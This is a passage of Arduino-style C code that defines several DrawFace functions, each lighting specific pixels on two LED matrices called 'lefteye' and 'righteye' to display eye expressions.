color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(114, color);\n lefteye.setPixelColor(115, color);\n lefteye.setPixelColor(122, color);\n lefteye.setPixelColor(123, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(129, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(137, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(242, color);\n lefteye.setPixelColor(243, color);\n righteye.setPixelColor(12, color);\n righteye.setPixelColor(13, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(118, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(126, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(132, color);\n righteye.setPixelColor(133, color);\n righteye.setPixelColor(140, color);\n righteye.setPixelColor(141, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace011()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(45, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(173, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(181, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(205, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(213, color);\n righteye.setPixelColor(42, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(170, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace012()\n{\n \/\/lefteye.clear();\n righteye.clear();\n righteye.setPixelColor(56, color);\n righteye.setPixelColor(57, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(64, color);\n righteye.setPixelColor(65, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(73, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(184, color);\n righteye.setPixelColor(185, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(192, color);\n righteye.setPixelColor(193, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(201, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color); \n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace013()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n lefteye.setPixelColor(242, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(245, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace014()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(1, color);\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(112, color);\n lefteye.setPixelColor(113, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(248, color);\n righteye.setPixelColor(6, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(118, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(223, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(247, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace015()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(21, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(29, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(62, color);\n lefteye.setPixelColor(63, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(70, color);\n lefteye.setPixelColor(71, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(101, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(109, color);\n lefteye.setPixelColor(112, color);\n lefteye.setPixelColor(120, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(149, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(157, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(164, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(190, color);\n lefteye.setPixelColor(191, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(198, color);\n lefteye.setPixelColor(199, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(229, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(237, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(248, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(18, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(26, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(56, color);\n righteye.setPixelColor(57, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(64, color);\n righteye.setPixelColor(65, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(98, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(106, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(135, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(146, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(154, color);\n righteye.setPixelColor(155, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(184, color);\n righteye.setPixelColor(185, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(192, color);\n righteye.setPixelColor(193, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(223, color);\n righteye.setPixelColor(226, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(234, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(247, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace016()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(224, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(231, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace017()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(113, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(232, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace018()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(129, color);\n lefteye.setPixelColor(130, color);\n lefteye.setPixelColor(137, color);\n lefteye.setPixelColor(138, color);\n lefteye.setPixelColor(139, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(164, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(241, color);\n lefteye.setPixelColor(242, color);\n lefteye.setPixelColor(243, color);\n lefteye.setPixelColor(248, color);\n lefteye.setPixelColor(249, color);\n lefteye.setPixelColor(250, color);\n righteye.setPixelColor(5, color);\n righteye.setPixelColor(6, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(12, color);\n righteye.setPixelColor(13, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(116, color);\n righteye.setPixelColor(117, color);\n righteye.setPixelColor(118, color);\n righteye.setPixelColor(125, color);\n righteye.setPixelColor(126, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace019()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(1, color);\n lefteye.setPixelColor(2, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(10, color);\n lefteye.setPixelColor(11, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n 